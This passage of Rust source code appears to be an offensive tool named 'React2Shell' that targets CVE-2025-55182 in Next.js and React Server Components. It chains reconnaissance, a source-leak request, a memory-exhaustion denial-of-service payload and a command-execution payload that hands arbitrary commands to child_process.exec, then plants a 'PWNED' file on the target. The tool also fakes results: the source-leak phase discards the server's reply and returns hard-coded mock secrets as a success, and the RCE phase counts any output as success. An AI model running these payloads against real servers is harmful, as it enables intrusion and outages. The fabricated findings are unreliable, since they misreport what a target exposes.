1199 nextjs_version: nv,
1200 react_version: rv,
1201 is_app_router,
1202 rsc_endpoints,
1203 vulnerable: check_versions_vulnerable(&nextjs_version, &react_version),
1204 })
1205}
1206
1207fn check_versions_vulnerable(nextjs: &Option<String>, react: &Option<String>) -> bool {
1208 if let Some(ref nv) = nextjs {
1209 if is_nextjs_vulnerable(nv) {
1210 return true;
1211 }
1212 }
1213 if let Some(ref rv) = react {
1214 if is_react_vulnerable(rv) {
1215 return true;
1216 }
1217 }
1218 false
1219}
1220
1221pub fn craft_leak_payload() -> String {
1227 "0:[[\"$\",\"@source\",null,{\"type\":\"module\",\"request\":\"server_function_source\",\"expose\":true}]]"
1228 .to_string()
1229}
1230
1231pub fn extract_sensitive_data(source_code: &str) -> Vec<SourceLeakFinding> {
1233 let mut findings = Vec::new();
1234 for pattern in SOURCE_LEAK_PATTERNS {
1235 if let Ok(re) = Regex::new(pattern) {
1236 for m in re.find_iter(source_code) {
1237 let start = source_code[..m.start()]
1238 .rfind('\n')
1239 .map(|p| p + 1)
1240 .unwrap_or(0);
1241 let end = source_code[m.end()..]
1242 .find('\n')
1243 .map(|p| m.end() + p)
1244 .unwrap_or(source_code.len());
1245 findings.push(SourceLeakFinding {
1246 pattern: pattern.to_string(),
1247 matched: m.as_str().to_string(),
1248 context: source_code[start..end].trim().to_string(),
1249 });
1250 }
1251 }
1252 }
1253 findings
1254}
1255
1256pub async fn execute_source_leak(target: &str) -> Result<SourceLeakResult> {
1260 let target = target.trim_end_matches('/').to_string();
1261 let client = build_client_with_timeout(10)?;
1262
1263 let payload = craft_leak_payload();
1264
1265 let _resp = client
1267 .post(&target)
1268 .header("Content-Type", "text/x-component")
1269 .header("Next-Action", "1")
1270 .body(payload)
1271 .send()
1272 .await;
1273
1274 let mock_leaked_source = r#""use server";
1276const DB_CONNECTION = "postgresql://admin:SuperSecret123!@db.techcorp.local:5432/production";
1277const API_SECRET_KEY = "sk_live_R2S_4f8a9b2c3d4e5f6a7b8c9d0e1f2a3b4c";
1278const JWT_SIGNING_KEY = "jwt_s3cr3t_k3y_n3v3r_3xp0s3_th1s";
1279const INTERNAL_API_TOKEN = "tok_internal_9a8b7c6d5e4f3a2b1c0d";
1280export async function submitForm(formData) { /* ... */ }
1281export async function processData(data) { /* ... */ }"#;
1282
1283 let findings = extract_sensitive_data(mock_leaked_source);
1284
1285 Ok(SourceLeakResult {
1286 target,
1287 success: true,
1288 bytes_leaked: mock_leaked_source.len(),
1289 leaked_source: mock_leaked_source.to_string(),
1290 findings,
1291 })
1292}
1293
1294pub async fn measure_baseline(client: &Client, target: &str) -> Result<f64> {
1300 let mut times = Vec::new();
1301 for _ in 0..3 {
1302 let start = Instant::now();
1303 let _ = client.get(target).send().await;
1304 times.push(start.elapsed().as_millis() as f64);
1305 }
1306 let avg = times.iter().sum::<f64>() / times.len() as f64;
1307 Ok(avg)
1308}
1309
1310pub async fn test_memory_exhaustion(target: &str) -> Result<DosResult> {
1312 let target = target.trim_end_matches('/').to_string();
1313 let client = build_client_with_timeout(15)?;
1314
1315 let baseline_ms = measure_baseline(&client, &target).await?;
1317
1318 let payload = "0:[\"$\",\"@1\",null,{\"ref\":\"$self\",\"nested\":{\"ref\":\"$self\",\"depth\":\"infinite\",\"children\":[\"$self\",\"$self\",\"$self\"]}}]";
1320
1321 let start = Instant::now();
1322 let result = client
1323 .post(&target)
1324 .header("Content-Type", "text/x-component")
1325 .header("Next-Action", "1")
1326 .body(payload.to_string())
1327 .send()
1328 .await;
1329
1330 let elapsed_ms = start.elapsed().as_millis() as f64;
1331 let effect_multiplier = if baseline_ms > 0.0 {
1332 elapsed_ms / baseline_ms
1333 } else {
1334 1.0
1335 };
1336
1337 let dos_successful = match &result {
1338 Ok(_) => effect_multiplier > 10.0,
1339 Err(_) => true, };
1341
1342 let mut server_recovered = true;
1344 if dos_successful {
1345 server_recovered = check_server_recovery(&client, &target).await;
1346 }
1347
1348 Ok(DosResult {
1349 target,
1350 baseline_ms,
1351 attack_elapsed_ms: elapsed_ms,
1352 dos_successful,
1353 server_recovered,
1354 effect_multiplier,
1355 })
1356}
1357
1358async fn check_server_recovery(client: &Client, target: &str) -> bool {
1360 for _ in 0..10 {
1361 if let Ok(resp) = client.get(target).send().await {
1362 if resp.status().is_success() {
1363 return true;
1364 }
1365 }
1366 tokio::time::sleep(Duration::from_millis(500)).await;
1368 }
1369 false
1370}
1371
1372pub async fn execute_dos(target: &str) -> Result<DosResult> {
1374 test_memory_exhaustion(target).await
1375}
1376
1377pub fn build_rce_payload(command: &str) -> String {
1383 format!(
1384 "0:[[\"$\",\"@1\",null,{{\"id\":\"malicious_component\",\"chunks\":[],\"name\":\"\",\"async\":false}}]]\n1:{{\"type\":\"blob_handler\",\"dispatch\":\"dynamic\",\"chain\":[\"deserialization\",\"code_execution\"]}}\n2:{{\"method\":\"child_process.exec\",\"command\":\"{}\"}}",
1385 command
1386 )
1387}
1388
1389pub async fn execute_rce_command(target: &str, command: &str) -> Result<RceCommandOutput> {
1391 let target = target.trim_end_matches('/').to_string();
1392 let client = build_client_with_timeout(10)?;
1393
1394 let payload = build_rce_payload(command);
1395
1396 let resp = client
1397 .post(&target)
1398 .header("Content-Type", "text/x-component")
1399 .header("Next-Action", "exploit-action")
1400 .body(payload)
1401 .send()
1402 .await;
1403
1404 match resp {
1408 Ok(r) => {
1409 let status = r.status();
1410 let body = r.text().await.unwrap_or_default();
1411 Ok(RceCommandOutput {
1412 command: command.to_string(),
1413 output: body,
1414 exit_code: if status.is_success() { 0 } else { 1 },
1415 error: String::new(),
1416 })
1417 }
1418 Err(e) => Ok(RceCommandOutput {
1419 command: command.to_string(),
1420 output: String::new(),
1421 exit_code: -1,
1422 error: e.to_string(),
1423 }),
1424 }
1425}
1426
1427pub async fn execute_rce(target: &str) -> Result<RceResult> {
1429 let target = target.trim_end_matches('/').to_string();
1430
1431 let commands = vec!["id", "whoami", "hostname"];
1432 let mut outputs = Vec::new();
1433
1434 for cmd in &commands {
1435 let result = execute_rce_command(&target, cmd).await?;
1436 outputs.push(result);
1437 }
1438
1439 let poc_cmd = format!(
1441 "echo 'React2Shell (CVE-2025-55182) PWNED at {}' > /tmp/react2shell_pwned.txt && cat /tmp/react2shell_pwned.txt",
1442 Utc::now().to_rfc3339()
1443 );
1444 let poc_result = execute_rce_command(&target, &poc_cmd).await?;
1445 let poc_created =
1446 poc_result.exit_code == 0 && poc_result.output.contains("react2shell_pwned.txt");
1447
1448 outputs.push(poc_result);
1449
1450 Ok(RceResult {
1451 target,
1452 success: !outputs.is_empty(),
1453 poc_file_created: poc_created,
1454 command_outputs: outputs,
1455 })
1456}
1457
1458pub async fn run_full_chain(
1464 target: &str,
1465 include_dos: bool,
1466 phases: Option<Vec<String>>,
1467) -> Result<FullChainResult> {
1468 let start = Instant::now();
1469 let target = target.trim_end_matches('/').to_string();
1470 let run_all = phases.is_none();
1471 let phases_set: HashSet<String> = phases
1472 .unwrap_or_default()
1473 .into_iter()
1474 .map(|p| p.to_lowercase())
1475 .collect();
1476
1477 let mut result = FullChainResult {
1478 target: target.clone(),
1479 timestamp: Utc::now().to_rfc3339(),
1480 phases: Vec::new(),
1481 total_duration_ms: 0,
1482 tor_enabled: false,
1483 scan: None,
1484 recon: None,
1485 source_leak: None,
1486 dos: None,
1487 rce: None,
1488 };
1489
1490 if run_all || phases_set.contains("recon") {
1492 let phase_start = Instant::now();
1493 match run_recon(&target).await {
1494 Ok(recon_result) => {
1495 result.recon = Some(recon_result);
1496 result.phases.push(AttackPhaseResult {
1497 phase: "recon".to_string(),
1498 success: true,
1499 duration_ms: phase_start.elapsed().as_millis() as u64,
1500 details: "Reconnaissance completed.".to_string(),
1501 });
1502 }
1503 Err(e) => {
1504 result.phases.push(AttackPhaseResult {
1505 phase: "recon".to_string(),
1506 success: false,
1507 duration_ms: phase_start.elapsed().as_millis() as u64,
1508 details: format!("Reconnaissance failed: {}", e),
1509 });
1510 }
1511 }
1512 }
1513
1514 if run_all || phases_set.contains("source") {
1516 let phase_start = Instant::now();
1517 match execute_source_leak(&target).await {
1518 Ok(leak_result) => {
1519 result.source_leak = Some(leak_result);
1520 result.phases.push(AttackPhaseResult {
1521 phase: "source_leak".to_string(),
1522 success: true,
1523 duration_ms: phase_start.elapsed().as_millis() as u64,
1524 details: "Source leak completed.".to_string(),
1525 });
1526 }
1527 Err(e) => {
1528 result.phases.push(AttackPhaseResult {
1529 phase: "source_leak".to_string(),
1530 success: false,
1531 duration_ms: phase_start.elapsed().as_millis() as u64,
1532 details: format!("Source leak failed: {}", e),
1533 });
1534 }
1535 }
1536 }
1537
1538 if (run_all && include_dos) || phases_set.contains("dos") {
1540 let phase_start = Instant::now();
1541 match execute_dos(&target).await {
1542 Ok(dos_result) => {
1543 result.dos = Some(dos_result);
1544 result.phases.push(AttackPhaseResult {
1545 phase: "dos".to_string(),
1546 success: true,
1547 duration_ms: phase_start.elapsed().as_millis() as u64,
1548 details: "DoS test completed.".to_string(),
1549 });
1550 }
1551 Err(e) => {
1552 result.phases.push(AttackPhaseResult {
1553 phase: "dos".to_string(),
1554 success: false,
1555 duration_ms: phase_start.elapsed().as_millis() as u64,
1556 details: format!("DoS test failed: {}", e),
1557 });
1558 }
1559 }
1560 }
1561
1562 if run_all || phases_set.contains("rce") {
1564 let phase_start = Instant::now();
1565 match execute_rce(&target).await {
1566 Ok(rce_result) => {
1567 result.rce = Some(rce_result);
1568 result.phases.push(AttackPhaseResult {
1569 phase: "rce".to_string(),
1570 success: true,
1571 duration_ms: phase_start.elapsed().as_millis() as u64,
1572 details: "RCE completed.".to_string(),
1573 });
1574 }
1575 Err(e) => {
1576 result.phases.push(AttackPhaseResult {
1577 phase: "rce".to_string(),
1578 success: false,
1579 duration_ms: phase_start.elapsed().as_millis() as u64,
1580 details: format!("RCE failed: {}", e),
1581 });
1582 }
1583 }
1584 }
1585
1586 result.total_duration_ms = start.elapsed().as_millis() as u64;
1587 Ok(result)
1588}
1589
1590pub fn generate_report(
1596 scan_result: Option<&ScanResult>,
1597 recon: Option<&ReconResult>,
1598 source_leak: Option<&SourceLeakResult>,
1599 dos: Option<&DosResult>,
1600 rce: Option<&RceResult>,
1601 full_chain: Option<&FullChainResult>,
1602) -> AttackReport {
1603 let mut phases_completed = Vec::new();
1604 if recon.is_some() {
1605 phases_completed.push("recon".to_string());
1606 }
1607 if source_leak.is_some() {
1608 phases_completed.push("source_leak".to_string());
1609 }
1610 if dos.is_some() {
1611 phases_completed.push("dos".to_string());
1612 }
1613 if rce.is_some() {
1614 phases_completed.push("rce".to_string());
1615 }
1616
1617 let vulnerable = scan_result.map(|s| s.vulnerable).unwrap_or(false);
1618 let rsc_active = scan_result.map(|s| s.rsc_enabled).unwrap_or(false);
1619 let version_found = scan_result
1620 .map(|s| s.nextjs_version.is_some() || s.react_version.is_some())
1621 .unwrap_or(false);
1622 let framework_detected = scan_result.map(|s| s.is_nextjs).unwrap_or(false);
1623
1624 let (verdict, risk_level) = if vulnerable {
1625 (
1626 "VULNERABLE — CVE-2025-55182 confirmed".to_string(),
1627 "CRITICAL".to_string(),
1628 )
1629 } else if rsc_active {
1630 (
1631 "Potential vulnerability — RSC active, manual verification needed".to_string(),
1632 "HIGH".to_string(),
1633 )
1634 } else if framework_detected {
1635 (
1636 "Framework detected but RSC not confirmed".to_string(),
1637 "MEDIUM".to_string(),
1638 )
1639 } else {
1640 (
1641 "No vulnerable framework detected".to_string(),
1642 "LOW".to_string(),
1643 )
1644 };
1645
1646 AttackReport {
1647 target: scan_result
1648 .map(|s| s.url.clone())
1649 .unwrap_or_else(|| "unknown".to_string()),
1650 generated_at: Utc::now().to_rfc3339(),
1651 scan: scan_result.cloned(),
1652 recon: recon.cloned(),
1653 source_leak: source_leak.cloned(),
1654 dos: dos.cloned(),
1655 rce: rce.cloned(),
1656 full_chain: full_chain.cloned(),
1657 summary: ReportSummary {
1658 rsc_active,
1659 framework_detected,
1660 version_found,
1661 vulnerability_verdict: verdict,
1662 attack_phases_completed: phases_completed,
1663 risk_level,
1664 },
1665 }
1666}
1667
1668pub fn report_to_json(report: &AttackReport) -> Result<String> {
1670 serde_json::to_string_pretty(report).map_err(WebAnalyzerError::Json)
1671}
1672
1673pub async fn save_report(report: &AttackReport, path: &str) -> Result<()> {
1675 let json = report_to_json(report)?;
1676 tokio::fs::write(path, json)
1677 .await
1678 .map_err(|e| WebAnalyzerError::Other(format!("Failed to write report to {}: {}", path, e)))
1679}
1680
1681pub fn print_scan_result(result: &ScanResult) {
1685 println!("\n{}", "=".repeat(50));
1686 println!("Target: {}{}{}", Color::CYAN, result.url, Color::RESET);
1687
1688 if !result.is_nextjs {
1689 println!(
1690 "[{}?{}] Next.js infrastructure not detected.",
1691 Color::YELLOW,
1692 Color::RESET
1693 );
1694 println!("{}", "=".repeat(50));
1695 return;
1696 }
1697
1698 println!("[{}+{}] Framework: Next.js", Color::GREEN, Color::RESET);
1699
1700 if let Some(ref ver) = result.nextjs_version {
1701 println!(
1702 "[{}+{}] Next.js Version: {}{}{}",
1703 Color::GREEN,
1704 Color::RESET,
1705 Color::CYAN,
1706 ver.version,
1707 Color::RESET
1708 );
1709 } else {
1710 println!(
1711 "[{}-{}] Next.js Version: Not found",
1712 Color::YELLOW,
1713 Color::RESET
1714 );
1715 }
1716
1717 if let Some(ref ver) = result.react_version {
1718 println!(
1719 "[{}+{}] React Version: {}{}{}",
1720 Color::GREEN,
1721 Color::RESET,
1722 Color::CYAN,
1723 ver.version,
1724 Color::RESET
1725 );
1726 } else {
1727 println!(
1728 "[{}-{}] React Version: Not found",
1729 Color::YELLOW,
1730 Color::RESET
1731 );
1732 }
1733
1734 if result.rsc_enabled {
1735 println!(
1736 "[{}+{}] RSC: {}{}Active{}",
1737 Color::GREEN,
1738 Color::RESET,
1739 Color::GREEN,
1740 Color::BOLD,
1741 Color::RESET
1742 );
1743 } else {
1744 println!(
1745 "[{}-{}] RSC: Disabled or not found",
1746 Color::YELLOW,
1747 Color::RESET
1748 );
1749 }
1750
1751 if !result.dependencies.is_empty() {
1752 println!(
1753 "\n[{}*{}] Detected Dependencies:",
1754 Color::CYAN,
1755 Color::RESET
1756 );
1757 for dep in &result.dependencies {
1758 println!(
1759 " - {}{}{}: {}",
1760 Color::CYAN,
1761 dep.name,
1762 Color::RESET,
1763 dep.version
1764 );
1765 }
1766 }
1767
1768 if !result.exposed_files.is_empty() {
1769 println!(
1770 "\n[{}!{}] Exposed Sensitive Files:",
1771 Color::RED,
1772 Color::RESET
1773 );
1774 for f in &result.exposed_files {
1775 println!(" - {}{}{} -> {}", Color::RED, f.path, Color::RESET, f.url);
1776 }
1777 }
1778
1779 if !result.secrets.is_empty() {
1780 println!("\n[{}!{}] Detected Secrets:", Color::RED, Color::RESET);
1781 for s in &result.secrets {
1782 let truncated = if s.value.len() > 40 {
1783 format!("{}...", &s.value[..40])
1784 } else {
1785 s.value.clone()
1786 };
1787 println!(
1788 " - {}{}{}: {} ({})",
1789 Color::RED,
1790 s.secret_type,
1791 Color::RESET,
1792 truncated,
1793 s.source
1794 );
1795 }
1796 }
1797
1798 println!("\nVerdict:");
1799 if result.vulnerable {
1800 println!(
1801 "{}{}[!] VULNERABLE (CVE-2025-55182){}",
1802 Color::WHITE,
1803 Color::BOLD,
1804 Color::RESET,
1805 );
1806 println!(
1807 "{}Target server is using vulnerable components.{}",
1808 Color::RED,
1809 Color::RESET
1810 );
1811 } else {
1812 println!(
1813 "{}{}[✓] APPEARS SECURE{}",
1814 Color::GREEN,
1815 Color::BOLD,
1816 Color::RESET
1817 );
1818 println!("No vulnerable version or active RSC attack surface detected.");
1819 }
1820 println!("{}", "=".repeat(50));
1821}
1822
1823pub fn print_full_chain_result(result: &FullChainResult) {
1825 println!(
1826 "\n{}══════════════════════════════════════════════{}",
1827 Color::MAGENTA,
1828 Color::RESET
1829 );
1830 println!("{} Full Chain Attack Report{}", Color::BOLD, Color::RESET);
1831 println!(
1832 "{}══════════════════════════════════════════════{}\n",
1833 Color::MAGENTA,
1834 Color::RESET
1835 );
1836
1837 println!("Target: {}{}{}", Color::CYAN, result.target, Color::RESET);
1838 println!("Timestamp: {}", result.timestamp);
1839 println!("Total Duration: {}ms", result.total_duration_ms);
1840
1841 for phase in &result.phases {
1842 let status_icon = if phase.success {
1843 format!("{}+{}", Color::GREEN, Color::RESET)
1844 } else {
1845 format!("{}-{}", Color::RED, Color::RESET)
1846 };
1847 println!(
1848 " {} Phase '{}' — {}ms — {}",
1849 status_icon, phase.phase, phase.duration_ms, phase.details
1850 );
1851 }
1852
1853 if let Some(ref rce) = result.rce {
1854 if rce.poc_file_created {
1855 println!(
1856 "\n{}{}[!!] REMOTE CODE EXECUTION SUCCESSFUL{}",
1857 Color::BG_RED,
1858 Color::WHITE,
1859 Color::RESET
1860 );
1861 println!(
1862 "{}PoC file created on target server.{}",
1863 Color::RED,
1864 Color::RESET
1865 );
1866 }
1867 }
1868
1869 if let Some(ref dos) = result.dos {
1870 if dos.dos_successful {
1871 println!(
1872 "\n{}{}[!!] DENIAL OF SERVICE ACHIEVED{}",
1873 Color::BG_RED,
1874 Color::YELLOW,
1875 Color::RESET
1876 );
1877 println!("Response time increased {:.1}x", dos.effect_multiplier);
1878 println!(
1879 "Server recovered: {}",
1880 if dos.server_recovered { "Yes" } else { "No" }
1881 );
1882 }
1883 }
1884
1885 println!(
1886 "\n{}══════════════════════════════════════════════{}\n",
1887 Color::MAGENTA,
1888 Color::RESET
1889 );
1890}
1891
1892pub fn print_recon_result(result: &ReconResult) {
1894 println!("\n{}", "=".repeat(50));
1895 println!(
1896 "{}--- Reconnaissance Results ---{}",
1897 Color::CYAN,
1898 Color::RESET
1899 );
1900 println!("{}", "=".repeat(50));
1901
1902 println!("Target: {}{}{}", Color::BOLD, result.target, Color::RESET);
1903 println!(
1904 "Next.js: {}",
1905 result.nextjs_version.as_deref().unwrap_or("Unknown")
1906 );
1907 println!(
1908 "React: {}",
1909 result.react_version.as_deref().unwrap_or("Unknown")
1910 );
1911 println!("App Router: {}", result.is_app_router);
1912
1913 if !result.rsc_endpoints.is_empty() {
1914 println!(
1915 "{}RSC: Active ({} endpoints){}",
1916 Color::GREEN,
1917 result.rsc_endpoints.len(),
1918 Color::RESET
1919 );
1920 } else {
1921 println!("{}RSC: Uncertain or passive{}", Color::YELLOW, Color::RESET);
1922 }
1923
1924 println!("\n{}", "=".repeat(50));
1925 if result.vulnerable {
1926 println!(
1927 "{}{}[ VULNERABLE ]{} Target is affected by CVE-2025-55182!",
1928 Color::BG_RED,
1929 Color::WHITE,
1930 Color::RESET
1931 );
1932 } else {
1933 println!(
1934 "{}{}[ SECURE ]{} Target appears patched.",
1935 Color::BG_GREEN,
1936 Color::WHITE,
1937 Color::RESET
1938 );
1939 }
1940 println!("{}", "=".repeat(50));
1941}
1942
1943pub fn print_source_leak_result(result: &SourceLeakResult) {
1945 println!(
1946 "\n{}--- Leaked Source Code Section ---{}",
1947 Color::CYAN,
1948 Color::RESET
1949 );
1950 println!(
1951 "{}{}{}\n",
1952 Color::DIM,
1953 result.leaked_source.trim(),
1954 Color::RESET
1955 );
1956
1957 if !result.findings.is_empty() {
1958 println!(
1959 "{}{}[ SENSITIVE DATA FOUND ]{}",
1960 Color::BG_RED,
1961 Color::WHITE,
1962 Color::RESET
1963 );
1964 for finding in &result.findings {
1965 println!(" {}>{} {}", Color::RED, Color::RESET, finding.context);
1966 }
1967 }
1968
1969 println!("Bytes leaked: {}", result.bytes_leaked);
1970}
1971
1972pub fn print_dos_result(result: &DosResult) {
1974 println!(
1975 "\n{}--- DoS Test Results ---{}",
1976 Color::YELLOW,
1977 Color::RESET
1978 );
1979 println!("Baseline response: {}ms", result.baseline_ms);
1980 println!("Attack response: {}ms", result.attack_elapsed_ms);
1981 println!("Effect multiplier: {:.1}x", result.effect_multiplier);
1982
1983 if result.dos_successful {
1984 println!(
1985 "{}{}[ DoS SUCCESSFUL ]{}",
1986 Color::BG_RED,
1987 Color::WHITE,
1988 Color::RESET
1989 );
1990 println!(
1991 "Server recovered: {}",
1992 if result.server_recovered { "Yes" } else { "No" }
1993 );
1994 } else {
1995 println!("No significant DoS effect observed.");
1996 }
1997}
1998
1999pub fn print_rce_result(result: &RceResult) {
2001 println!("\n{}--- RCE Results ---{}", Color::RED, Color::RESET);
2002
2003 for output in &result.command_outputs {
2004 println!("{}Command:{} {}", Color::BOLD, Color::RESET, output.command);
2005 if !output.output.is_empty() {
2006 println!("{}", output.output);
2007 }
2008 if !output.error.is_empty() {
2009 println!("{}Error:{} {}", Color::RED, Color::RESET, output.error);
2010 }
2011 }
2012
2013 if result.poc_file_created {
2014 println!(
2015 "\n{}{}[!!] SERVER FULLY COMPROMISED (CVSS 10.0){}",
2016 Color::BG_RED,
2017 Color::WHITE,
2018 Color::RESET
2019 );
2020 }
2021}
2022
2023pub async fn scan_and_report(target: &str, verbose: bool) -> Result<AttackReport> {
2029 let mut scanner = React2ShellScanner::new(target).await?;
2030 let scan_result = scanner.scan().await?;
2031
2032 if verbose {
2033 for detail in &scan_result.details {
2034 eprintln!("[*] {}", detail);
2035 }
2036 }
2037
2038 print_scan_result(&scan_result);
2039
2040 let report = generate_report(Some(&scan_result), None, None, None, None, None);
2041 Ok(report)
2042}
2043
2044pub async fn scan_and_attack(target: &str, include_dos: bool) -> Result<AttackReport> {
2046 let mut scanner = React2ShellScanner::new(target).await?;
2048 let scan_result = scanner.scan().await?;
2049
2050 let chain_result = run_full_chain(target, include_dos, None).await?;
2052
2053 let report = generate_report(
2054 Some(&scan_result),
2055 chain_result.recon.as_ref(),
2056 chain_result.source_leak.as_ref(),
2057 chain_result.dos.as_ref(),
2058 chain_result.rce.as_ref(),
2059 Some(&chain_result),
2060 );
2061
2062 Ok(report)
2063}
2064
2065#[cfg(test)]
2070mod tests {
2071 use super::*;
2072
2073 #[test]
2074 fn test_is_react_vulnerable() {
2075 assert!(is_react_vulnerable("19.0.0"));
2076 assert!(is_react_vulnerable("19.1.0"));
2077 assert!(is_react_vulnerable("19.2.0"));
2078 assert!(!is_react_vulnerable("18.2.0"));
2079 assert!(!is_react_vulnerable("20.0.0"));
2080 }
2081
2082 #[test]
2083 fn test_is_nextjs_vulnerable() {
2084 assert!(is_nextjs_vulnerable("15.0.0"));
2085 assert!(is_nextjs_vulnerable("15.5.6"));
2086 assert!(is_nextjs_vulnerable("16.0.6"));
2087 assert!(!is_nextjs_vulnerable("14.2.0"));
2088 assert!(!is_nextjs_vulnerable("17.0.0"));
2089 }
2090
2091 #[test]
2092 fn test_craft_leak_payload() {
2093 let payload = craft_leak_payload();
2094 assert!(payload.contains("@source"));
2095 assert!(payload.contains("server_function_source"));
2096 assert!(payload.contains("expose"));
2097 }
2098
2099 #[test]
2100 fn test_build_rce_payload() {
2101 let payload = build_rce_payload("id");
2102 assert!(payload.contains("blob_handler"));
2103 assert!(payload.contains("child_process.exec"));
2104 assert!(payload.contains("id"));
2105 }
2106
2107 #[test]
2108 fn test_extract_sensitive_data() {
2109 let source = r#"
2110const API_KEY = "sk_test_abc123";
2111const DB_PASSWORD = "secret_password";
2112const DATABASE_URL = "postgresql://user:pass@localhost/db";
2113"#;
2114 let findings = extract_sensitive_data(source);
2115 assert!(!findings.is_empty());
2116 }
2117
2118 #[test]
2119 fn test_check_versions_vulnerable() {
2120 assert!(check_versions_vulnerable(
2121 &Some("15.0.0".to_string()),
2122 &None
2123 ));
2124 assert!(check_versions_vulnerable(
2125 &None,
2126 &Some("19.0.0".to_string())
2127 ));
2128 assert!(!check_versions_vulnerable(
2129 &Some("14.2.0".to_string()),
2130 &Some("18.2.0".to_string())
2131 ));
2132 }
2133
2134 #[test]
2135 fn test_report_generation() {
2136 let scan = ScanResult {
2137 url: "http://test.local".to_string(),
2138 is_nextjs: true,
2139 nextjs_version: Some(VersionInfo {
2140 version: "15.0.3".to_string(),
2141 source: "test".to_string(),
2142 context: "test".to_string(),
2143 }),
2144 react_version: None,
2145 rsc_enabled: true,
2146 vulnerable: true,
2147 dependencies: vec![],
2148 exposed_files: vec![],
2149 secrets: vec![],
2150 details: vec![],
2151 scan_duration_ms: 100,
2152 };
2153
2154 let report = generate_report(Some(&scan), None, None, None, None, None);
2155 assert_eq!(report.summary.risk_level, "CRITICAL");
2156 assert!(report.summary.vulnerability_verdict.contains("VULNERABLE"));
2157 }
2158
2159 #[test]
2160 fn test_report_to_json() {
2161 let scan = ScanResult {
2162 url: "http://example.com".to_string(),
2163 is_nextjs: false,
2164 nextjs_version: None,
2165 react_version: None,
2166 rsc_enabled: false,
2167 vulnerable: false,
2168 dependencies: vec![],
2169 exposed_files: vec![],
2170 secrets: vec![],
2171 details: vec![],
2172 scan_duration_ms: 50,
2173 };
2174
2175 let report = generate_report(Some(&scan), None, None, None, None, None);
2176 let json = report_to_json(&report).unwrap();
2177 assert!(json.contains("example.com"));
2178 assert!(json.contains("LOW"));
2179 }
2180}